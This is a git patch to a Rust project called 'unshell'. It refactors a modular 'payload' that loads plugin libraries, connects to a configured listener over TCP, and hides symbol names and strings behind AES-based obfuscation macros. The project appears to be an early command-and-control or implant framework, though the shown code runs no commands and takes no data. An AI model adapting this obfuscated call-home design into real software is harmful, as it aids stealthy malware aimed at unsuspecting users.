From cc2b2960e83c7dd8eebb0b185cb47c6716dfefd4 Mon Sep 17 00:00:00 2001 From: Michael Mikovsky <77305074+Astatin3@users.noreply.github.com> Date: Thu, 13 Nov 2025 11:52:01 -0700 Subject: [PATCH] Work on runtime system --- unshell-breakout-module/Cargo.lock | 1 - unshell-breakout-module/Cargo.toml | 8 +-- unshell-breakout-module/src/lib.rs | 33 +--------- unshell-cli/Cargo.lock | 35 ++++++++-- unshell-lib/Cargo.toml | 1 + unshell-lib/src/client/client_runtime.rs | 29 ++++++--- unshell-lib/src/client/mod.rs | 61 +++++++++-------- unshell-lib/src/components.rs | 9 +-- unshell-lib/src/config/mod.rs | 16 ++++- unshell-lib/src/lib.rs | 26 ++++---- unshell-lib/src/module/manager.rs | 83 +++++++++++------------- unshell-lib/src/module/mod.rs | 14 ++-- unshell-lib/src/module/module.rs | 4 +- unshell-lib/src/server/server_runtime.rs | 7 +- unshell-obfuscate/src/lib.rs | 11 +++- unshell-payload/Cargo.lock | 7 ++ unshell-payload/Cargo.toml | 1 + unshell-payload/src/main.rs | 44 ++++++------- 18 files changed, 200 insertions(+), 190 deletions(-) diff --git a/unshell-breakout-module/Cargo.lock b/unshell-breakout-module/Cargo.lock index 6c2ed0b..218ae54 100644 --- a/unshell-breakout-module/Cargo.lock +++ b/unshell-breakout-module/Cargo.lock @@ -468,7 +468,6 @@ name = "unshell-breakout-module" version = "0.1.0" dependencies = [ "unshell-lib", - "unshell-obfuscate", ] [[package]] diff --git a/unshell-breakout-module/Cargo.toml b/unshell-breakout-module/Cargo.toml index 2a96d89..72386e6 100644 --- a/unshell-breakout-module/Cargo.toml +++ b/unshell-breakout-module/Cargo.toml @@ -10,15 +10,13 @@ crate-type = ["cdylib"] [features] default = ["client", "server"] -client = [] -server = [] -obfuscate = ["unshell-obfuscate/obfuscate"] +client = ["unshell-lib/client"] +server = ["unshell-lib/server"] +obfuscate = ["unshell-lib/obfuscate"] [dependencies] -# unshell-modules = {path = "../unshell-modules"} unshell-lib = {path = "../unshell-lib"} -unshell-obfuscate = {path = "../unshell-obfuscate"} [profile.release] diff --git a/unshell-breakout-module/src/lib.rs b/unshell-breakout-module/src/lib.rs index 3aed76f..1d5bb1f 100644 --- a/unshell-breakout-module/src/lib.rs +++ b/unshell-breakout-module/src/lib.rs @@ -1,34 +1,5 @@ #![no_main] -use std::collections::HashMap; -use unshell_lib::Component; -use unshell_obfuscate::obfuscated_symbol; +pub use unshell_lib::get_components; -#[obfuscated_symbol] -fn test124() { - println!("test"); -} - -#[obfuscated_symbol] -pub fn get_components() -> HashMap<&'static str, Box> { - let mut components: HashMap<&'static str, Box> = HashMap::new(); - - #[cfg(feature = "client")] - components.insert( - unshell_lib::client::MODULE_NAME, - Box::new(unshell_lib::client::ClientComponent::new()), - ); - - components - - // vec![ - // Feature::Client, - // #[cfg(feature = "server")] - // Feature::Server, - // ] -} - -#[cfg(feature = "client")] -pub use unshell_lib::client::*; -#[cfg(feature = "server")] -pub use unshell_lib::server::*; +// Behold! The world's most sophisticated shared library! diff --git a/unshell-cli/Cargo.lock b/unshell-cli/Cargo.lock index 9819a77..1c59947 100644 --- a/unshell-cli/Cargo.lock +++ b/unshell-cli/Cargo.lock @@ -256,6 +256,12 @@ dependencies = [ "generic-array", ] +[[package]] +name = "itoa" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" + [[package]] name = "js-sys" version = "0.3.82" @@ -368,6 +374,12 @@ version = "1.0.22" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" +[[package]] +name = "ryu" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" + [[package]] name = "serde" version = "1.0.228" @@ -375,6 +387,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" dependencies = [ "serde_core", + "serde_derive", ] [[package]] @@ -397,6 +410,19 @@ dependencies = [ "syn", ] +[[package]] +name = "serde_json" +version = "1.0.145" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "402a6f66d8c709116cf22f558eab210f5a50187f702eb4d7e5ef38d9a7f1c79c" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", + "serde_core", +] + [[package]] name = "sha2" version = "0.10.9" @@ -464,16 +490,11 @@ dependencies = [ name = "unshell-lib" version = "0.0.0" dependencies = [ - "aes", "bincode", - "block-padding 0.4.1", - "cbc", "chrono", - "getrandom", - "hex", - "hex-literal", "libloading", - "sha2", + "serde", + "serde_json", "unshell-obfuscate", ] diff --git a/unshell-lib/Cargo.toml b/unshell-lib/Cargo.toml index ba8ce86..4febce4 100644 --- a/unshell-lib/Cargo.toml +++ b/unshell-lib/Cargo.toml @@ -10,6 +10,7 @@ client = [] server = [] log_debug = [] +obfuscate = ["unshell-obfuscate/obfuscate"] [dependencies] diff --git a/unshell-lib/src/client/client_runtime.rs b/unshell-lib/src/client/client_runtime.rs index 168d5d7..6965202 100644 --- a/unshell-lib/src/client/client_runtime.rs +++ b/unshell-lib/src/client/client_runtime.rs @@ -2,31 +2,40 @@ use std::{ io::Read, net::TcpStream, sync::{ - Arc, Mutex, + Arc, atomic::{AtomicBool, Ordering}, }, thread::{self, JoinHandle}, }; -use crate::*; +use crate::{config::RuntimeConfig, *}; // use unshell_modules::{Manager, ModuleRuntime}; -use crate::{Announcement, ModuleRuntime, module::Manager}; +use crate::{Announcement, ModuleRuntime}; -pub struct RuntimeTest { +pub struct ClientRuntime { thread_handle: JoinHandle<()>, join_signal: Arc, } -impl RuntimeTest { - pub fn new(_manager: Arc>) -> RuntimeTest { +impl ClientRuntime { + pub fn new(config: &'static RuntimeConfig) -> Result { let join_signal = Arc::new(AtomicBool::new(false)); let join_clone = join_signal.clone(); - Self { + let host = match config.config.get("host") { + Some(host) => host, + None => { + return Err(ModuleError::Error( + "Could not find HOST in Client Runtime".into(), + )); + } + }; + + Ok(Self { thread_handle: thread::spawn(move || { debug!("Connecting to server..."); - let mut stream = match TcpStream::connect("localhost:1234") { + let mut stream = match TcpStream::connect(host) { Ok(stream) => stream, Err(e) => { error!("Failed to connect to server: {}", e); @@ -64,11 +73,11 @@ impl RuntimeTest { } }), join_signal, - } + }) } } -impl ModuleRuntime for RuntimeTest { +impl ModuleRuntime for ClientRuntime { // fn init(&mut self) {} fn is_running(&self) -> bool { diff --git a/unshell-lib/src/client/mod.rs b/unshell-lib/src/client/mod.rs index 07f12de..f3f1bcd 100644 --- a/unshell-lib/src/client/mod.rs +++ b/unshell-lib/src/client/mod.rs @@ -6,12 +6,15 @@ pub const MODULE_NAME: &'static str = "client"; // use unshell_modules::{Manager, ModuleRuntime, module_interface}; +use std::any::TypeId; + use crate::{ - Component, - module::Interface, + ModuleError, + ModuleRuntime, + client::client_runtime::ClientRuntime, + config::{InterfaceWrapper, NamedComponent, RuntimeConfig}, module_interface, - warn, - // module_interface, + warn, // module_interface, }; pub extern "C" fn test1() { @@ -32,39 +35,35 @@ module_interface! { } } -// #[unsafe(no_mangle)] -// pub fn interface() -> Interface { -// Interface::from_raw(test1, test2, test3) -// } +pub struct ClientInterfaceWrapper; -// #[unsafe(no_mangle)] -// pub fn init(manager: Arc>) -> Box { -// info!("Initializing client module"); -// } +impl InterfaceWrapper for ClientInterfaceWrapper { + fn get_interface(&self) -> Option + where + Self: Sized, + { + if TypeId::of::() == TypeId::of::() { + let my_struct = ClientInterface::from_raw(test1, test2, test3); -#[derive(Clone)] -pub struct ClientComponent; - -impl ClientComponent { - pub fn new() -> Self { - ClientComponent + unsafe { Some(std::mem::transmute_copy(&my_struct)) } + } else { + None + } } } -impl Component for ClientComponent { - fn name(&self) -> &'static str { - MODULE_NAME - } +fn get_interface() -> Option<&'static (dyn InterfaceWrapper + Sync)> { + Some(&ClientInterfaceWrapper) +} - // fn start_runtime(&self, manager: Arc>) -> Option> { - // Some(Box::new(RuntimeTest::new(manager))) - // } +fn start_runtime(config: &'static RuntimeConfig) -> Result, ModuleError> { + Ok(Box::new(ClientRuntime::new(config)?)) +} - fn clone_box(&self) -> Box { - Box::new(self.clone()) - } - - fn get_interface(&self) -> Box { - Box::new(ClientInterface::from_raw(test1, test2, test3)) +pub const fn get_named_component() -> NamedComponent { + NamedComponent { + name: MODULE_NAME, + get_interface: &get_interface, + start_runtime: &start_runtime, } } diff --git a/unshell-lib/src/components.rs b/unshell-lib/src/components.rs index 441d37c..29cabd9 100644 --- a/unshell-lib/src/components.rs +++ b/unshell-lib/src/components.rs @@ -1,15 +1,16 @@ use unshell_obfuscate::obfuscated_symbol; -use crate::{Component, config::NamedComponent}; - -use std::collections::HashMap; +use crate::config::NamedComponent; #[obfuscated_symbol] pub fn get_components() -> Vec { // let mut components: HashMap<&'static str, Box> = HashMap::new(); + // let a = crate::client::get_interface; + return vec![ - NamedComponent {name:,crate::client::MODULE_NAME, get_interface: crate::client::get_interface, start_runtime: todo!() }, + #[cfg(feature = "client")] + crate::client::get_named_component(), ]; // components diff --git a/unshell-lib/src/config/mod.rs b/unshell-lib/src/config/mod.rs index 2002343..cd7cdd8 100644 --- a/unshell-lib/src/config/mod.rs +++ b/unshell-lib/src/config/mod.rs @@ -23,23 +23,33 @@ pub struct PayloadConfig { pub struct RuntimeConfig { pub parent_component: &'static str, pub name: &'static str, - pub config: HashMap, + pub config: HashMap<&'static str, String>, } +#[derive(Clone)] pub struct NamedComponent { pub name: &'static str, // + Sync + Sync + Sync + Sync + Sync + Sync + Sync + Sync pub get_interface: &'static (dyn Fn() -> Option<&'static (dyn InterfaceWrapper + Sync)> + Sync), pub start_runtime: &'static ( - dyn Fn(&'static RuntimeConfig) -> Result<&'static dyn ModuleRuntime, ModuleError> + dyn Fn(&'static RuntimeConfig) -> Result, ModuleError> + Sync ), } /// Trait that wraps the get_interface() function inside of components pub trait InterfaceWrapper: Send + Sync { - fn get_interface() -> Option + fn get_interface(&self) -> Option where Self: Sized; } + +// impl InterfaceWrapper for T { +// default fn get_interface() -> Option +// where +// Self: Sized, +// { +// None +// } +// } diff --git a/unshell-lib/src/lib.rs b/unshell-lib/src/lib.rs index 236b4f8..301097e 100644 --- a/unshell-lib/src/lib.rs +++ b/unshell-lib/src/lib.rs @@ -12,12 +12,12 @@ pub use components::get_components; mod announcement; use std::{ fmt, - sync::{Arc, Mutex}, + // sync::{Arc, Mutex}, }; pub use announcement::Announcement; -use crate::module::{Interface, Manager}; +// use crate::module::{Interface, Manager}; ///Generic error type for module-related operations. #[derive(Debug)] @@ -58,16 +58,16 @@ pub trait ModuleRuntime: Send + Sync { fn kill(self: Box); } -pub trait Component { - fn name(&self) -> &'static str; - // fn start_runtime(&self, manager: Arc>) -> Option>; +// pub trait Component { +// fn name(&self) -> &'static str; +// // fn start_runtime(&self, manager: Arc>) -> Option>; - fn get_interface(&self) -> Box; - fn clone_box(&self) -> Box; -} +// fn get_interface(&self) -> Box; +// fn clone_box(&self) -> Box; +// } -impl Clone for Box { - fn clone(&self) -> Box { - self.clone_box() - } -} +// impl Clone for Box { +// fn clone(&self) -> Box { +// self.clone_box() +// } +// } diff --git a/unshell-lib/src/module/manager.rs b/unshell-lib/src/module/manager.rs index 5e397ff..dac693a 100644 --- a/unshell-lib/src/module/manager.rs +++ b/unshell-lib/src/module/manager.rs @@ -5,37 +5,35 @@ use std::{ time::Duration, }; -use unshell_obfuscate::symbol; - use crate::{ config::{NamedComponent, PayloadConfig, RuntimeConfig}, *, }; use module::Module; +use unshell_obfuscate::symbol; // #[derive(Debug)] -pub struct Manager<'a> { +pub struct Manager { id: &'static str, - modules: Vec, + pub modules: Vec, - active_runtimes: Vec<&'a dyn ModuleRuntime>, + active_runtimes: Vec>, // runtime_config: Vec, - components: HashMap, + components: HashMap, } // static mut MANAGER_RUNTIME: Option>> = None; -impl<'a> Manager<'a> { - fn new(id: &'static str, config: &'a Vec, modules: Vec) -> Self { +impl Manager { + fn new(id: &'static str, config: Vec, modules: Vec) -> Self { Self { id, - - // config, modules, - - components: config.iter().map(|c| (c.name.to_string(), c)).collect(), - + components: config + .into_iter() + .map(|c| (c.name.to_string(), c)) + .collect(), active_runtimes: Vec::new(), } } @@ -44,54 +42,49 @@ impl<'a> Manager<'a> { #[allow(static_mut_refs)] pub fn run(config: &'static PayloadConfig, modules: Vec) { // Construct self - let this = Self::new(&config.id, &config.components, modules); + let mut this = Self::new(&config.id, config.components.clone(), modules); // Load each of the pre-prepared modules - // this.load_components(); + this.load_components(); let this = Arc::new(Mutex::new(this)); Self::start_runtimes(this.clone(), &config.runtime_config); - // let components = this.components.clone(); - - // let mut runtimes: Vec> = Vec::new(); - - // for (_name, component) in components { - // let module_runtime = component.start_runtime(this.clone()); - // if let Some(module_runtime) = module_runtime { - // runtimes.push(module_runtime); - // } - // } + // drop(config); Self::join(this); } - // fn load_components(&mut self) { - // for i in 0..self.modules.len() { - // debug!("Importing module {}", i); - // // let this_lock = .unwrap(); - // let component_func = if let Ok(component_func) = self.modules[i] - // .get_symbol:: HashMap<&'static str, Box>>( - // symbol!("get_components").as_bytes(), - // ) { - // component_func - // } else { - // warn!("get_components function not found"); - // continue; - // }; + fn load_components(&mut self) { + for module in &self.modules { + // Load get_components function from shared object library + let component_func = match module + .get_symbol:: Vec>(symbol!(b"get_components")) + { + Ok(func) => func, + Err(_) => { + warn!("get_components function not found"); + continue; + } + }; - // let components = component_func(); + let components = component_func(); + let component_name = "TODO"; - // let len = components.len(); - // debug!("[{}] Loaded {} components", i, len); + debug!("{} - Retrieved payload metadata", component_name); - // self.components.extend(components); - // } - // } + // Add each component into self + for c in components { + debug!("{} - Found component '{}'", "TODO", c.name); + self.components.insert(c.name.to_owned(), c); + } + } + } /// Start each runtime fn start_runtimes(this: Arc>, runtimes: &'static Vec) { + debug!("Starting runtimes..."); for runtime in runtimes { let mut this_lock = this.lock().unwrap(); @@ -106,6 +99,8 @@ impl<'a> Manager<'a> { } }; + debug!("Starting runtime: {}", runtime.name); + let runtime = match (*component.start_runtime)(runtime) { Ok(runtime) => runtime, Err(e) => { diff --git a/unshell-lib/src/module/mod.rs b/unshell-lib/src/module/mod.rs index 42597de..8cd0f2c 100644 --- a/unshell-lib/src/module/mod.rs +++ b/unshell-lib/src/module/mod.rs @@ -7,10 +7,6 @@ mod module; pub use manager::Manager; pub use module::Module; -pub trait Interface { - fn as_any(self: Box) -> Box; -} - /// "Module Interface" helper macro that creates a struct with function pointers /// Useful for defining and requiring modules' functions accross FFI boundry. #[macro_export] @@ -58,10 +54,10 @@ macro_rules! module_interface { } } - impl crate::module::Interface for $interface_name { - fn as_any(self: Box) -> Box { - self - } - } + // impl crate::module::Interface for $interface_name { + // fn as_any(self: Box) -> Box { + // self + // } + // } }; } diff --git a/unshell-lib/src/module/module.rs b/unshell-lib/src/module/module.rs index ef40258..7e8479f 100644 --- a/unshell-lib/src/module/module.rs +++ b/unshell-lib/src/module/module.rs @@ -5,7 +5,6 @@ use crate::{ModuleError, logger::SetupLogger, logger::logger}; use crate::*; pub struct Module { - // name: String, lib: Library, } @@ -29,6 +28,9 @@ impl Module { Ok(symbol) } + // pub fn get_id(&self) -> &str { + // self.id + // } // pub fn get_interface(&self) -> Result { // if let Ok(interface_function) = self.get_symbol:: T>(b"interface") { // Ok(interface_function()) diff --git a/unshell-lib/src/server/server_runtime.rs b/unshell-lib/src/server/server_runtime.rs index 49e09e0..5e50355 100644 --- a/unshell-lib/src/server/server_runtime.rs +++ b/unshell-lib/src/server/server_runtime.rs @@ -17,7 +17,7 @@ pub struct ListenerRuntime { impl ListenerRuntime { pub fn new() -> ListenerRuntime { - info!("Starting listener runtime on 127.0.0.1:1234",); + // info!("Starting listener runtime on {}",); let listener = TcpListener::bind("127.0.0.1:1234").unwrap(); let streams = Arc::new(Mutex::new(Vec::new())); @@ -51,11 +51,6 @@ impl ListenerRuntime { println!("Announcement {:?} sent", announcement); Ok(()) - - // self.stream - // .write_all(&u32::to_be_bytes(bytes.len() as u32))?; - // self.stream.write_all(&bytes)?; - // self.stream.flush()?; } } diff --git a/unshell-obfuscate/src/lib.rs b/unshell-obfuscate/src/lib.rs index 6a66ba4..055e4a9 100644 --- a/unshell-obfuscate/src/lib.rs +++ b/unshell-obfuscate/src/lib.rs @@ -8,10 +8,11 @@ use syn::{ItemFn, parse_macro_input}; mod format_helper; use format_helper::*; +use syn::LitStr; + // Put all encrypt-related dependencies in a module, so they are easier to use with the feature flag #[cfg(feature = "obfuscate")] mod obs_deps { - pub use syn::LitStr; pub use unshell_crypt::BACKUP_ENV_KEY; pub use unshell_crypt::ENV_KEY_NAME; pub use unshell_crypt::STATIC_IV; @@ -24,7 +25,12 @@ use obs_deps::*; #[proc_macro] #[cfg(not(feature = "obfuscate"))] pub fn obs(input: TokenStream) -> TokenStream { - input + let input = parse_macro_input!(input as LitStr); + + (quote::quote! { + String::from(#input) + }) + .into() } #[proc_macro_attribute] @@ -48,7 +54,6 @@ pub fn symbol(input: TokenStream) -> TokenStream { pub fn obfuscated_symbol(_attr: TokenStream, item: TokenStream) -> TokenStream { // Parse the input function - use unshell_crypt::aes::encrypt_aes; let func = parse_macro_input!(item as ItemFn); // Get the original function name diff --git a/unshell-payload/Cargo.lock b/unshell-payload/Cargo.lock index 5a3edac..4cafaea 100644 --- a/unshell-payload/Cargo.lock +++ b/unshell-payload/Cargo.lock @@ -381,6 +381,12 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + [[package]] name = "libc" version = "0.2.177" @@ -634,6 +640,7 @@ name = "unshell-payload" version = "0.0.0" dependencies = [ "env_logger", + "lazy_static", "libloading", "proc-macro2", "unshell-lib", diff --git a/unshell-payload/Cargo.toml b/unshell-payload/Cargo.toml index db86bbc..53504d0 100644 --- a/unshell-payload/Cargo.toml +++ b/unshell-payload/Cargo.toml @@ -11,6 +11,7 @@ log_debug = ["unshell-lib/log_debug"] [dependencies] env_logger = "0.11.8" +lazy_static = "1.5.0" libloading = "0.8.9" proc-macro2 = "1.0.103" diff --git a/unshell-payload/src/main.rs b/unshell-payload/src/main.rs index afa6b72..fc0644d 100644 --- a/unshell-payload/src/main.rs +++ b/unshell-payload/src/main.rs @@ -1,30 +1,30 @@ +use std::collections::HashMap; + +use lazy_static::lazy_static; use unshell_lib::{ ModuleError, config::{PayloadConfig, RuntimeConfig}, module::{Manager, Module}, }; -use unshell_obfuscate::symbol; +use unshell_obfuscate::{obs, symbol}; #[macro_use] extern crate unshell_lib; -static PAYLOAD_CONFIG: PayloadConfig = PayloadConfig { - id: symbol!("Test ID"), - components: unshell_lib::get_components(), - runtime_config: vec![ - RuntimeConfig { - "client" - } - ], -}; - -// static RUNTIME_CONFIG: PayloadConfig = PayloadConfig { -// id: symbol!("Test ID"), -// components: Vec::new(), -// }; +lazy_static! { + static ref PAYLOAD_CONFIG: PayloadConfig = PayloadConfig { + id: symbol!("Test ID"), + components: unshell_lib::get_components(), + runtime_config: vec![RuntimeConfig { + parent_component: symbol!("client"), + name: symbol!("client runtime"), + config: HashMap::from([(symbol!("host"), obs!("localhost:1234"))]), + }], + }; +} fn main() { - #[cfg(not(feature = "obfuscate"))] + // #[cfg(not(feature = "obfuscate"))] unshell_lib::logger::PrettyLogger::init(); debug!("Initialized"); @@ -32,13 +32,13 @@ fn main() { match || -> Result<(), ModuleError> { let args = std::env::args(); - // let mut modules = Vec::new(); - // for arg in args.skip(1) { - // debug!("Loading module: {}", arg); - // modules.push(Module::new(&arg)?) - // } + let mut modules = Vec::new(); + for arg in args.skip(1) { + debug!("Loading module: {}", arg); + modules.push(Module::new(&arg)?) + } - Manager::run(&PAYLOAD_CONFIG, Vec::new()); + Manager::run(&PAYLOAD_CONFIG, modules); Ok(()) }() {